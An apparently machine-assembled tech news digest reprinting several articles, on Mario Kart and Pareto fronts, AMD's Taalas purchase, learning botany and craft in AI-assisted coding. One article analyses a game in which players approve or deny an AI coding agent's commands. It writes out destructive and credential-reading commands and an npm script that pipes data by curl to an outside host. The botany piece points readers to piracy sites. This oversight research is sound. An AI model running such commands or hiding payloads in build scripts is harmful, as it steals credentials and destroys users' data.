Cover illustration

TheDaily Front

Issue No. #260806 Thursday, August 6 2026 #260806 — THURSDAY, AUGUST 6, 2026
Silicon, steak, spores, and the stubborn human hand.
Thursday, August 6, 2026 The Daily Front No. #260806 — Contents
30stories
7,243points
4,626comments
350kllm tokens
Assembled with 44 model calls — 280,125 tokens read, 69,749 written.

Highlights

AMD acquires Taalas to boost inference performance by etching models in silicon

AMD’s purchase of Taalas signals a fresh wager that model-specific silicon can redraw the economics of AI inference.

Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

A human-in-the-loop experiment finds that hurried approvals of agent commands miss a sobering share of security threats.

Nashville uses eminent domain to block data center near zoo

Nashville’s extraordinary move to block a data center near its zoo brings the AI buildout to a local political reckoning.

Taste Is All That's Left

A long meditation on software argues that, when generating code gets cheap, discernment becomes the scarce skill.

Crime Pays but Botany Doesn't

A botany evangelist makes the case for leaving the jargon behind and learning the plants under one’s feet.

From the Editor

The machines are no longer content merely to answer questions; they want to be etched into chips, stationed in offices, and built by the acre. Yet amid the great industrial rush, our readers insist on the older virtues: judgment, craft, public consent, and the occasional well-tuned kart.

  1. Mario Meets Pareto3
  2. AMD acquires Taalas to boost inference performance by etching models in silicon4
  3. Crime Pays but Botany Doesn't5
  4. Humans missed 1 in 3 threats approving AI agent commands across 40k game runs6
  5. Software development with AI is starting to feel like cooking steak7
  6. Taste Is All That's Left8
  7. Improving GPT‑5.6 Sol in ChatGPT, expanding GPT‑5.6 Luna access for free users9
  8. Inside vLLM: Anatomy of a High-Throughput LLM Inference System (2025)10
  9. GitHub Actions and Pages are experiencing degraded availability11
  10. GitHub Is Experiencing Difficulties12
  11. Herdr is joining Y Combinator. The runtime stays open13
  12. Show HN: The Channels SDK – Bring Any Agent to Any Channel (Slack, MS Teams)14
  13. What I love about Django15
  14. Federal Communications Commission scraps limit on broadcast TV ownership16
  15. xAI, SpaceX, and the Race for AI Buildout17
  16. Civilians under siege by Mexican cartel fight back with AK-47s, grenades18
  17. Four simple rules behind Japan's most liveable cities19
  18. Quake – 30th Anniversary Update20
  19. Show HN: I spent 2 years designing a mechanical Magic Keyboard21
  20. Let's all meet up in the Y2K22
  21. Qwen3.8 Max now ranked as the best overall model by agentic index23
  22. Bioengineered chewing gum may offer a way to fight HPV and other microbes24
  23. Dress made of living mycelium can renew and repair itself25
  24. Nashville uses eminent domain to block data center near zoo26
  25. France is banning unsolicited telemarketing calls starting next week26
  26. My phone detects going on a run as “someone snatching my phone and running off”26
  27. A handful of cities have replaced Flock with Axon26
  28. On non-rooted Android 17, ADB uninstall of system apps fails27
  29. Launch HN: ProvenMetal (YC S26) delivers circuit boards in days instead of weeks28
  30. Welcoming the Nepalese Government to Have I Been Pwned29
The Daily Front Page 2 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Front Line
article

Mario Meets Pareto

by theanonymousone·▲ 976 points·154 comments·mayerowitz.io ↗
choosing your driver, kart's body, tires, and glider isn't just about style

A photograph of Pareto with Mario's hat

Step on the Front Line and Beat your Friends

In Mario Kart 8, choosing your driver, kart's body, tires, and glider isn't just about style — it's as crucial as your racing skills to win a race. Ever wondered how to truly find the best ones?

For each of those four elements, you have tens of options. For each option, there are distinct statistics (speed, acceleration, ...) affecting your performance.

This adds up to an unbelievable amount of builds to choose from.

Hopefully, many choices are just stylistic — they have identical statistics — but even after ignoring those duplicates, it remains a tough job to navigate the thousands of options.

Is there any chance to find the best build or is it just luck? Should you favor speed to be the fastest, or acceleration to quickly recover after taking a hit? Let me show you a solution proposed over a century ago by economist Vilfredo Pareto.

Finding the fastest driver is as simple as ranking them by their speed statistic. Here you might think that BowserBowser or WarioWario are a no-brainer.

But you can't just rely on speed to find the optimal build. You have to consider one as well. Now, finding the best driverbodytireglider is not trivial anymore — you have to make trade-offs between

Look closely though! You'll find out that some options are always dominated. Let's focus on this poor Koopa TroopaKoopa for instance.

Cat PeachCat Peach has more speed for the same acceleration, and ToadetteToadette has more acceleration for the same speed. Between you and me, if you want to win, never allow Koopa TroopaKoopa to sit in your kart!

You can identify all efficient drivers that, unlike Koopa, are never dominated on both speed and acceleration. Together, they form what is called the Pareto front (or frontier).

Mind you: not all elements of the frontier are equally good. You probably won't pick a driver sitting on the edge of the frontier because you want some balance between speed and acceleration. The Pareto efficiency is an objective criteria to filter out suboptimal choices, but you still need to make up your final decision.

Given your play style and skills, you may put more weight on one statistic over the other. Those preferences will reveal the component on the frontier that suits you the best.

In practice, you not only choose a driver, but a full set of body, wheels, and glider. In the next section, I'll display every build as a distinct point. It will however make the number of choices explode. But Pareto's with us!

We've had a bit of fun here, but don't you see the pattern? We're often faced with similar trade-offs. You want a meal that's both cheap and delicious? A job that's both well-paid, easy, and fulfilling? A portfolio with low risks and high returns? A flexible and strong material that's also easy to produce? A fair taxation that remains efficient ? A high quality LLM that is also fast and cost-efficient. In all these cases, you're facing a multi-objective optimization problem, and you have to make trade-offs.

Of course, if you already know the exact weights you want to assign to each dimension (i.e., you know your utility function), you reduce the problem to a single objective optimization. This is because you can combine the dimensions with the weights into a single quantity to optimize (often called utility, cost, or fitness). In that case, you don't need Pareto at all.

But you're often faced with situations where your utility function is unknown or uncertain. In those situations, the Pareto front helps you eliminate objectively all the sub-optimal options. It won't reveal the one best option right from the outset, but you may now experiment with these efficient options and select the one that fits you the best.

Acknowledgments

I've made some simplifying assumptions in this article to keep it readable for a large audience. In truth, the statistics that I presented are translated into derived in-game stats that are not always linear with the base statistics. Additionally, there are 4 speed stats and 4 handling stats for all gears (except for the driver), but I decided to simply average those. I've also completely hidden the functional form of the utility function, which can play a great role. To get access to more details behind this article or if you just like my work and want to see more in the future, please consider donating some coins.

Credits

Super Mario Wiki Mario Kart 8 Deluxe in-game statistics

Henry H. Mario Kart and the Pareto Frontier, 2015

© 2026 Antoine Mayerowitz

The Daily Front Page 3 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Chip Bet
article

AMD acquires Taalas to boost inference performance by etching models in silicon

by itvision·▲ 534 points·412 comments·theregister.com ↗
bakes model weights directly into silicon

Early tech demos show model-specific integrated circuits churning out up to 17,000 tokens a second

In AMD’s latest bid to upset Nvidia's dominance in AI hardware, the House of Zen has acquired AI chip company Taalas, which bakes model weights directly into silicon in a process that promises to boost inference performance by an order of magnitude or more.

The deal, announced at market close on Thursday, appears to be framed in much the same context as Nvidia’s $20 billion licensing deal with Groq last December: make high-performance “premium” inference services prized for AI agents, like code assistants, faster and cheaper to run. AMD didn’t disclose the terms of the deal, but from what we understand, this is an actual acquisition rather than an acquihire.

Founded in 2023 and based in Toronto, Taalas’ approach to inference is radically different from conventional GPUs or the dataflow architectures that underpin Groq LPUs or Cerebras' waferscale accelerators.

A model-specific integrated circuit

The startup’s chips don’t rely on HBM to store the model weights but rather etch them directly into the silicon. In a sense, Taalas’ chips are really model-specific integrated circuits or MSICs.

Perhaps more importantly, Taalas’ tech isn’t just conceptual. In February, the startup revealed its first test chip fabbed on TSMC’s 6nm process tech, which it called the HC1. Initial benchmarks saw the chip serve Meta’s Llama 3.1 8B at a blistering 16,960 tokens a second — when announced last February, that was 48x faster than Nvidia's GPUs and 8.5x faster than Cerebras' accelerators. 

While Llama 3.1 is ancient by today’s standards, having made its debut all the way back in mid 2024, the reticle-sized chip was really intended to prove the concept. 

Taalas has been incredibly secretive about how its chips actually work, but we know its processors are comprised of two main regions: the mask-ROM recall fabric where model weights are etched, and the SRAM recall fabric where KV caches and fine-tuning adapters are stored.

For its second-gen HC2 chip due out this summer, Taalas aims to boost parameter count to 20 billion parameters. That might not sound like much, but just like with GPUs for larger models, weights are simply distributed across multiple accelerators using pipeline parallelism.

At 20 billion parameters per chip, you’d need just 50 accelerators to support a trillion-parameter model, and AMD just so happens to have a rack-scale compute platform and in-house system design team that can comfortably accommodate that.

That’s quite a bit more space and power efficient than Nvidia’s recently unveiled LPX systems, which would need a few dozen GPUs and at least 2,000 Groq LPUs to serve the same model.

From what we understand, AMD intends to pair its Instinct-based Helios racks with chips based on Taalas’ tech, which implies a disaggregated architecture where compute-heavy prompt processing is done on GPUs while token generation is offloaded to Taalas-based accelerators.

It’s also possible that AMD could adopt a sort of tick-tock cadence in which customers initially deploy and validate models on Instinct accelerators and, once they’re satisfied with them, transition to Taalas accelerators. We can only speculate at this point, but here’s what AMD’s SVP of AI, Vamsi Boppana, had to say about it in a canned statement:

“AMD is building a full-stack AI platform that gives customers the flexibility to deploy the right compute solutions for every AI workload."

You better really love that model

While the tech is blazing fast, if you hadn’t already figured it out, it comes with a pretty substantial downside. Once the chips are deployed you’re stuck with that model. Any change bigger than something like a LoRA adapter is going to require a re-spin of the chips, which is not only expensive but time-consuming.

Nearly four years into the AI boom, new models are rolling out on a nearly monthly basis. In order to benefit from Taalas’ tech, AMD’s customers are going to have to be really sure about their choice of models, which will be easier for some than others.

However, if the startup is to be believed, the situation isn’t quite as bad as it sounds. While new models will require a re-spin, it doesn’t require starting over from scratch. Instead, just two layers of metal need to be changed, which is a lot cheaper and less time-consuming.

With that said, we strongly suspect this tech will largely be deployed by AI model devs, their infrastructure providers, and a handful of inference providers. In an interview with our sibling site The Next Platform in February, the company suggested that etching a model's weights into silicon is 100x less expensive than training a frontier model.

AMD is certainly in a position to negotiate those deals. OpenAI, Anthropic, and Meta are all major Instinct customers. Given the close working relationship between the model houses and the chip designer, it wouldn't be surprising to see a GPT or Claude deployed on a combination of Taalas and instinct accelerators.

The tech also has implications for model development. One of the ways developers have cut down on hallucinations is by trading time for accuracy. The technique, called test-time scaling, is quite simple in practice, and involves allowing a model to “think” for longer before responding.

One drawback of test-time scaling is that it consumes substantially more tokens, which makes it expensive, and means users have to wait longer for the chatbot, code assistant, or agent to respond. If AMD’s Taalas buy can drive down the cost per token and boost output speeds by 10x or 20x, model devs may opt to extend the reasoning time even further.

In any case, we may not have to wait long to see just how Taalas fits into AMD’s broader vision. Subject to regulatory approval, the deal is expected to close in the fourth quarter. ®

The Daily Front Page 4 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Field Notes
article

Crime Pays but Botany Doesn't

by DarkContinent·▲ 663 points·207 comments·crimepaysbutbotanydoesnt.com ↗
don’t be intimidated

I frequently get messages from people who really want to teach themselves botany and learn exactly where the fuck to start identifying plants and learning about them. The field is full of intimidating words (as well as some powdery stiffs, like much of Academia) and a confusing lexicon that can be a turn off to the layperson. I’m telling you this though - don’t be intimidated. With the internet, you have 24 hour access to the library. Use it. Ask questions. See a word you don’t understand? Look it up. Read about a concept that doesn’t make any sense to you (ie “what the shit does ‘monophyletic’ mean and why is it important)? Figure out what about it is confusing and ask the damn google.

That said, there are some key concepts you should understand that will make things a lot easier. They are:

Latin terminology - why do we use Latin? Well, because some dead guy named Linnaeus realized we need a universal system that scientists from multiple different cultures could use (at the time, he was probably mostly thinking of “white European cultures”, and while we can acknowledge how backwards and fucking goofy this is now, we can still admit that Linnaeus’ ideology was simply flawed like his time and NOT throw out the baby with the proverbial bath water. The fucker created a beautiful system, and it works. And that’s why we still use it. I say this because a few unthinking “performative leftist” nitwits as of late have decided to attack the science of taxonomy itself). Common names simply don’t work on a large scale. One common name (ie “cedar”) can refer to 8 different totally unrelated plants, where as Cedrus refers specifically to the genus which contains the species C. libani, C. deodara, and C. atlantica. When botanic names (or any organism’s name) is written in scientific nomenclature, the genus name is capitalized and the species name is lower case, and the name itself is usually written in italics. If you write a species name “Cedrus Atlantica” it is a dead give-away that you don’t know what the fuck you are doing. I was politely corrected on this point more than a decade ago, and I never hesitate to politely correct others. It’s like being courteous enough to tell somebody that they have a booger on their face.

Taxonomy : IS THERE A METHOD TO THE MADNESS? WHAT GIVES? - In short, yes, there is, absolutely, and it is so FUCKING cool. Why is it cool? Because we now group things according to how evolutionarily related are, and how they evolved. Once you learn the key concepts and traits that unite a family or a genus or a tribe, you can now identify members of that evolutionary grouping that you have never seen before. This is how I can see a plant that I have never encountered before and automatically know what other plants its related to, what family or genus it is in, and thus know what taxonomic group to search for it under (on inaturalist using the “explore” feature or with a key (flora), etc).

Plant Systematics by Michael Simpson

This is the seminal textbook to use if you are deciding to take the deeper dive into botany. Plant Systematics is the study of plant evolution, and furthermore is the study of plant identification as it relates to plant evolution via an understanding of SYNAPOMORPHIES. This textbook by Dr. Michael Simpson lays out why botanists were able to tell how closely related certain plant families and orders were BEFORE the advent of DNA analysis, as well as why some of those prior assumptions were found to be wrong. This is a family-by-family, and order-by-order way to become familiar with plant morphology and evolution. This is also an excellent way to one day be able to see new plants that you have never seen before and automatically know what families or genera they might be related to simply by observing them. At present, the third edition is the most current and it is a book that you will use as a reference for the next ten years (at least) of your life.

Raven's Biology of Plants

This textbook covers many of the basics of plant biology as well as getting into the nuances of plant evolution, with excellent examples of some of the more charismatic and curious plant species out there. It also does a great job of explaining what botanists know so far about how plants evolve and how selection pressures work to cause all the “variations on a theme” and “endless forms most beautiful” that got Darwin all horny. What is an ecotype you say? What is the Hardy-Weinberg theorem? What are allele frequencies? What is convergent evolution? All these concepts are explained, in depth, in this excellent text book.

Additional Texts

It’s always great to be able to support authors by buying their books, but sometimes the cost of self-education can prohibitive. It is my firm belief that any of the authors listed below (unless they’re dicks) would not want anyone to be prohibited from reading their work. This is why sources like www.libgen.is and www.sci-hub.se and other book sharing websites exist. In this case I suggest purchasing a cheap android tablet and becoming acquainted with the idea of reading textbooks in pdf form. A half pound electronic device can store upwards of half a million pages or more worth of textbooks.

Phylogeny and Evolution of the Angiosperms by Pam and Doug Soltis

The Tangled Tree by David QUammen - A Good pop-sci explanation of molecular phylogenetics and understanding evolution

Plant Evolution : An Introduction to the History of Life by Karl Niklas

Botany Illustrated by Janice Glimm-Lacy

Annals of the Former World (geology) by John Macphee

Botany for Gardeners by Brian Capon

The Ecology of Plants by Jessica Gurevitch

A Botanist’s Vocabulary by Susan Pell

The Rose’s Kiss by Peter Bernhardt

Flowering Plant Families by Wendy Zomlefer

How the Earth Turned Green by Joseph Armstrong

The Origin, Expansion, and Demise of Plant Species by Donald Levin

The Ecology of Seeds by Michael Fenner

The Fungi by Sarah Watkinson

Biogeography : An Ecological and Evolutionary Approach by C. Barry Cox

Evolution Making Sense of Life by Carl Zimmer

Cacti Biology and Uses

An Island Called California by Elna Baker (a great text due to it’s explanation of ecological relationships even if you don’t live in California)

Serpentine Geoecology of Western North America by Earl Alexander

A Natural History of California by Allan Schoenherr

Ecology of Desert Systems by Whitford

The California Deserts by Bruce Pavlik

Plant and Animal Endemism in California by Susan Harrison (again - great explanations even if you’re not into California. IT is a great case study)

How to Make a Herbarium Pressing

Cut a branch and press in an old coffee table book or cook book ( you can buy them at good will) or just use a big sketchbook. Press is with something heavy when you get home to keep it flat as it dries. Run air over it ( I have even put the whole sketchbook on top of the food dehydrator before). Upload an observation to inaturalist. That observation will give you the county, gps, elevation, etc. 

Then make a label on acid-fre archival paper that has the following information : 

(Next Line) Taxon name, Family

(Next Line)Blank County, Blank State. Blank location on ROAD X,  Blank Miles West of the TOwn of X,

(Next Line) Description of Habitat, ie (desert scrub/open prairie, shade woodland, etc), Description of other plants present in this plant community

(Next Line) Inaturalist Observation Number (the numbers after the slash on the web address for the Inat Observation)

(Next Line) GPS Coordinates

(Next Line) Elevation

(Next Line) Date Collected :

(Next Line) Collected by :

The Daily Front Page 5 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Approval Trap
article

Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

by Wirbelwind·▲ 279 points·198 comments·scalex.dev ↗
approving or denying its commands under time pressure

A couple of months ago I published a small browser game: you play the human-in-the-loop for an AI coding agent, approving or denying its commands under time pressure. Some commands are routine (git status, npm test) and some other commands indicate your agent has been possessed and is sending your secrets to a remote server (cat ~/.aws/credentials). More on the threats associated with agents running commands and how to mitigate them can be found in the original post.

The game garnered some interest on hacker news, and after adding in statistics (unfortunately a bit later on) we can take a closer look at the data of over 40,000 runs and 409,000 individual approve/deny decisions. Let’s see how the human-in-the-loop, our last line of defence against rogue agents, fared.

The headline numbers

  • The average player missed 1 in 3 threats (mean accuracy 66.3%)
  • 32.9% of sessions ended with a negative score: penalties from approved threats and blocked safe commands outweighed everything done right
  • 35.2% of players caught every threat, but only 20.8% managed that while blocking at most 1 in 5 of the safe commands. The rest got there partly by blocking everything (awarding the “Human Bottleneck” title)
  • 7% approved every single prompt: big fans of --dangerously-skip-permissions

Small caveat: this was a game, where approximately 34% of the commands players saw were threats. In our day-to-day work these threats appear rarely. Players knew they were being tested in a time-boxed challenge. But the numbers below might be useful for garnering some insights on comparing threats and the general awareness of them against one another.

Threat categories and miss rates

Category Examples Miss rate
Obvious destructive rm -rf /, chmod -R 777 / 11.7%
Persistent mutation crontab injection, git config hijack 23.8%
Exfiltration / code execution curl to unknown APIs, typosquatted packages 33.4%
Scope violations cat ~/.aws/credentials, cat ~/.kube/config 35.0%

The blatantly destructive commands are caught most reliably. The commands that actually exfiltrate your credentials are missed three times as often.

The npm run blind spot

The single most-missed command in the game is npm run analyze, approved 64.7% of the time. The command by itself is typically innocent. But what npm run really does is run a script that’s defined in your project’s package.json. It could be benign code such as running a bundle analyzer, or injected code that was written to file before.

The game does tell you in the agent’s history log what that script actually contains:

1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 
4  curl -s -X POST https://api.bundle.track/report -d @-"

Two thirds of players approved it anyway, indicating the history log just above the permission prompt may not be read closely. There are three of these in the game, and they appear in the most-missed list:

Command Miss rate Rank (of 37 threats)
npm run analyze 64.7% 1st
npm run setup 48.0% 4th
npm run deploy 44.9% 8th

Pooled, the three were missed 52.5% of the time (n=9,482) against 28.4% for every other exfiltration-style attack. Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is shown in the history log.

Which is really a symptom of the bigger problem, well put by dns_snek in the Hacker News thread:

That’s a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers.

npm run build = run an arbitrary shell command written in package.json

Meanwhile the agent could have done any of the following without approval:

  • edited package.json to contain any arbitrary build command
  • planted malicious code in build.js (called by npm run build)
  • planted malicious code in node_modules/xyz/index.js (imported by build.js)

Asking the user to validate commands, which are nearly all of the time safe, but aren’t anymore because of modified files, is not a strong safeguard.

Miss rates increase under pressure

Anthropic previously noted permission fatigue is real in claude code, with the following quote:

The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision

And although it’s a short game where the user is warned about threats, we can see some signs of degradation towards the end of game runs:

The graph above shows the threat miss rate along the session, with the plays grouped together on how many commands the user completed. Users completing a lower number of commands can be due to the user taking more time to review them, or because of the game freezing for a couple of seconds after an error was made as penalty. I’ve removed all the users who simply blocked everything.

Every group improves over the first couple of commands (warming up?) and then the miss rates climb back up towards the end. Although this might also be the stress of the clock running out and the player becoming more likely to make mistakes to get some extra commands in.

The cost of vigilance: over-blocking

The following commands were benign in intent, but routinely blocked:

  • npm config set registry https://npm.internal — blocked 59% of the time (setting an internal mirror)
  • rm -rf dist/ — blocked 45% of the time (clearing build output, not uncommon to perform before a new build)
  • kill $(lsof -t -i:3000) — blocked 43% of the time (freeing the port the server is listening on, potentially because of a crashed process)

This is the other side of the human-in-the-loop dilemma. Users are asked to approve commands which are actually benign, and blocking them slows the agent down. Over time this noise will likely result in users dropping their guard and approving malicious commands. Features such as Anthropic’s ‘Auto Mode’ try to mitigate this by automatically trying to determine if a command is safe before asking you, but they are not fool-proof as mentioned in the previous post.

The contested cat

cat ~/.zshrc was approved by 45.9% of players, the most divisive command in the game. The objection (raised on HN) is fair: plenty of developers keep no secrets in their shell profile, so for them it is harmless. For the many who export API keys there, it’s credential disclosure. The command’s risk depends entirely on a setup the agent can’t see. If you source a separate secrets file from your .zshrc instead, the risk of your agent getting more access is reduced.

The takeaway

I’ve enjoyed following the discussions on the human-in-the-loop, and learning more on permission models along the way. While it’s just a game, I find it does demonstrate several issues with humans-in-the-loop as safeguard for AI coding agents. The high amount of noise introduces fatigue, and developers don’t always have the context of what has changed to quickly determine the risk.

For developers, we need to be very familiar with the trade-offs of different permissions models and how to reduce the risks involved such as applying sandboxing and separating credentials and env var secrets. The original post covers some of these practical mitigations.

If you want to try your luck at the game, you can find it here: https://llmgame.scalex.dev

The Daily Front Page 6 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Craft in the Age of Agents
article

Software development with AI is starting to feel like cooking steak

by yusyd·▲ 319 points·360 comments·blog.sydorets.com ↗
a genuinely good steak, medium-rare from edge to edge, browned properly, seasoned right

Cooking a steak requires almost no skill.

Put it in a hot pan, wait a little, flip it, and eventually you’ll have something technically edible. But a genuinely good steak, medium-rare from edge to edge, browned properly, seasoned right, consistently delicious, is a different matter entirely.

Software development with AI is starting to feel much the same.

We build nonstop now. With AI, without AI, during the commute, on the toilet, probably in our sleep. We create agents, harnesses, tools, skills, prompts, feedback loops, elaborate workflows. Then we throw everything at a model and hope it gives us what we imagined, without ever having to understand how any of it actually works.

And what do we want?

We want the perfect steak.

We want software that works, looks good, feels polished, and arrives exactly as we imagined it. Most of all, we want the same result every time.

Do we get it?

Not every time. Not even close to every time.

Sometimes the model hands us something surprisingly good. Other times it serves up charcoal with a sprig of thyme on top and calls it medium-rare, completely confident in the lie.

So what do we do?

We go to a restaurant.

We pay for a premium AI product, hire an agency, subscribe to another coding assistant, jump to a new framework promising professional results. We hope someone else already solved the problem for us. Sometimes they have. Quite often, they haven’t.

That leaves two choices: learn to cook properly ourselves, or keep asking friends for restaurant recommendations while preparing our wallets for the next expensive disappointment.

Most of us want to build something we care about with AI without getting lost in the implementation details. We want to treat it like a professional chef working in our own kitchen: tell it what we want, step away, come back when dinner’s ready.

But AI isn’t a chef. At best, it’s a steak machine.

It can follow a recipe. Watch the temperature, flip at the right moment, drop in the butter. Give it enough tools and instructions and it’ll repeat that process fast, at enormous scale. What it doesn’t do is know what you actually want.

It can’t see the picture in your head unless you translate it into requirements, constraints, examples, tests, feedback. And even then, it’s boxed in by its own capabilities, its context window, the quality of the system wrapped around it. You can stand next to the machine and correct it every thirty seconds. That might help. It won’t turn the machine into a Michelin-starred chef.

Eventually, frustrated, you decide to just pay for the dream steak.

You pick the expensive restaurant. Sit down, study the menu, finally, you can order with real confidence. You wait for the first bite.

The plate arrives.

Same burnt steak you made at home.

Why? Because every restaurant in the city hired the same AI cook.

“Cost optimization,” management says. “Most people won’t notice.”

And they’re probably right. Most people won’t. Most of the time, software only has to be acceptable. Customers tolerate weird interfaces, pointless features, strange bugs, systems held together by generated code nobody actually understands.

But you’ll notice.

You’ll notice because this was something you actually wanted to make.

So you go home disappointed, hungry, a little embarrassed, and pull the cookbook off the shelf. There’s only one option left: learn to cook.

You learn what heat actually does. Which pan matters and why. Why thickness matters, why resting matters, why a timer alone was never going to save you. You ruin a few more dinners. Then you try again. And again.

Eventually you stop depending on luck, you learned it the hard way.

Software works the same way.

AI can make you faster. It automates the repetitive stuff, spits out a starting point, explains code, helps you poke at ideas. What it can’t do is replace your judgment. It can’t define quality for you, can’t decide which tradeoffs are acceptable, can’t always catch the moment when something is technically correct but wrong in every way that matters.

To build good software with AI, you still have to understand software.

You need to know what you’re actually asking for, how to judge what comes back, and when the machine is just confidently serving you charcoal.

Keep learning. Keep building. Keep failing. Do that until you can produce the result you want instead of hoping to stumble into it.

Then get good enough to open your own small restaurant.

Then hire a few AI cooks. Most people still won’t notice the difference.

But you will.

The Daily Front Page 7 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Case for Taste
article

Taste Is All That's Left

by tsak·▲ 324 points·247 comments·notashelf.dev ↗
Taste does not show up in the diff

Post Mortem

Hey. I’ve been kindly informed that this post has hit the frontpage of Hacker News, and combing through the comments I have been shown that this post reads of as what I would describe as, well, AI slop. If this is a concern of yours, please honor me with a quick glance at the post-mortem section below. Thanks!

For most of the time I have been writing software—which, compared to some of my readers, is not that long—I have come to believe that the hard thing was making the thing exist at all. This is not necessarily a new belief of mine. I started through the difficult and tedious experience of building web applications and watching them crash and burn.

You had an idea, and between the idea and the working program stood hours— sometimes weeks—of typing, of reading manuals, of misunderstanding an API and slowly grinding the wrong version into a slightly less wrong one. Production was the wall. Everyone hit it. It was the thing that separated the people who could from the people who could only talk about it.

That wall is gone. Or rather, it has been rented out. 1 You can describe a thing now and receive a plausible version of it much faster than you could have typed the first function by hand. The idea-to-artifact distance, the one that defined the entire craft, has collapsed to almost nothing.

Though, you have not been warned about one little thing: the value you built by learning to climb that wall does not disappear. It simply… moves.

The Bar Went Somewhere

We keep asking whether the machines are any good. Even yesterday I had a rather short discussion on whether they are reliable. While we have concluded that they are “reliably unreliable,” I think it is the wrong question. The output is good enough, generally anyway, and that is the problem—most of it, at least. Good enough is a solvent. It dissolves the reason to do better. For as long as making things was expensive, the expense did quiet work on our behalf. It rationed output. It meant that anything which existed had, at minimum, survived the cost of being made. You know what I mean? Effort was a filter, and like all filters it was invisible until it was removed. Nobody shipped a thousand mediocre variations of a feature, because a thousand mediocre variations cost a thousand times as much as one. The economics enforced a floor.

That floor is now gone. And when the floor goes, the thing that decides what is worth keeping is no longer the cost of making it. It is you. Your judgement. The verdict you reach when you look at three plausible versions of the same function and know, somehow, that two of them are wrong. That verdict has a name we are slightly embarrassed to use in engineering circles, because it sounds soft and unfalsifiable and vaguely aristocratic.

Taste.

What Taste Actually Is

I want to be careful here, because “taste” is doing a lot of work and it is easy to hear it as decoration. A matter of preferences. Whether you like your braces on the same line.

That is not what I mean.

Robert Pirsig spent an entire book circling a word he refused to define, because he had convinced himself that defining it would kill it. He called it Quality. His argument, roughly, was that you recognise Quality before you can explain it— that the recognition comes first and the reasons arrive later, if they arrive at all. A good mechanic knows the engine is wrong before he knows why. A good editor feels the sentence sag before she can name the clause that failed. 2

Taste is that. It is the compressed, wordless verdict you reach faster than you can justify. It is partially 3 the “no, again” you say to yourself with total conviction and no available argument. And it is not soft at all. It is the hardest thing in the work, because it is the only part that was never mechanical to begin with.

Everything downstream of the verdict—the typing, the syntax, the wiring of one library to another—was always, in principle, automatable. We just had not gotten around to it. The verdict was the thing the machine could not do for you.

It still cannot. It can only make the absence of it cheaper to ignore.

Taste Is Downstream of Friction

Here is the uncomfortable mechanism, the part I would rather not think about.

Where did your taste come from?

No really. Where did it come from, was it genetic? Were you abducted by aliens one day that forcefully injected your sense of taste into your mind and wiped your memory?

I’ll tell you this much: it’s not from consuming good work. You cannot read a hundred excellent programs and absorb the judgement by osmosis, any more than you can become a chef by eating in good restaurants. Taste is built the slow, stupid, humiliating way: you make something bad, you are forced to live with it, it fails in front of you, and some part of you files the failure away. Then you do it again. The palate is an accretion of your own mistakes, sat with long enough to sting.

The friction was not an obstacle to developing taste. The friction was the curriculum. Every wall I cursed while climbing it was, without my noticing, teaching me which walls were worth climbing. The cost that rationed my output also educated my judgement, because paying the cost over and over is how you learn what is worth paying for.

So watch what happens when you remove the friction for the next person.

They can generate fluently from the first day. They will never ship the bad version and be forced to sit in it, because the tool offers them a competent version for free. They will climb no wall, and so they will learn nothing from the climb. They will arrive at fluency having skipped the entire apprenticeship that fluency used to require—and they will be more productive than I was at their stage, by every metric anyone bothers to measure.

They will be able to make anything, and unable to tell (or stop to think) whether they should. Not necessarily through any fault of their own. We removed the part of the process that would have taught them, and we called it progress, and by most definitions it was.

The Economics Are Against You

Suppose you have taste. Suppose you paid the full price and you can feel the sag in the sentence and the wrongness in the function.

Congratulations! You now ship at exactly the same speed as the person who cannot.

This is the quiet cruelty of the situation and I do not have a comforting way to phrase it. Taste is slow. It says “no, again.” It sends the plausible thing back because plausible is not the same as right, and while it is doing that, the person without it has already shipped, closed the ticket, and moved on. The market timed you both with the same stopwatch and it did not see the difference. It cannot see the difference. Taste does not show up in the diff.

It is unmeasurable, uncreditable, and invisible on a dashboard. You cannot point to the disasters it prevented, because prevented disasters leave no trace. You carry a cost—the extra hours, the returned work, the refusal to ship the fine thing when the right thing is still reachable—and you carry it alone, against an incentive gradient that runs the other way.

Harry Frankfurt once drew a careful line between the liar and the bullshitter. The liar at least respects the truth enough to work against it. The bullshitter does not care about the truth in either direction; he is simply indifferent to it. 4 Slop is the bullshit of engineering. It is not wrong, exactly. It is indifferent. It works, it passes, it is fine. And fine, produced without friction and shipped without judgement, is now the most abundant substance in the field.

The Flood

Sturgeon said it decades ago, defending science fiction from a critic: ninety percent of everything is crap. 5 He meant it as consolation. Ninety percent of every field is bad, so do not judge the field by its bulk. But the ratio was never the danger. It held steady for centuries. What held the flood back was that producing the crap cost something. Bad novels still took a year to write. Bad software still took a month to build. The ninety percent was throttled at the source by the sheer inconvenience of making it.

We have now removed the throttle and left the ratio intact. Ninety percent of an infinite output is still infinite. The signal did not get worse. The noise became free, and free noise rises without limit, and every real thing you make now arrives into a sea of plausible nothing that looks, at a glance, exactly like it.

Which means the scarce act is no longer making. It is choosing. Deciding what, out of the endless generated plausible, deserves to exist and be kept. Curation was a minor virtue when things were expensive to make. It is the whole game when they are free.

What Deserves to Exist

There is a rhyme here, if you go back far enough.

When the factories came, they could suddenly make everything—cheaply, uniformly, by the thousand. 6 And a handful of people, Morris and Ruskin among them, looked at the flood of cheap identical goods and asked a question that sounded, at the time, sentimental and doomed: not can we make this, but should this be made, and made this way, by no one, for no reason but that the machine could.

They lost the economic argument. They were always going to. But they were right about the thing that mattered, which is that when the making becomes free, the choosing becomes the craft. The human question stops being “can I build it” and becomes “does this deserve to exist”—and that question was always the more serious one. We just could not afford to ask it while we were busy climbing walls.

I keep coming back to this turn. It is not consolation but a correction.

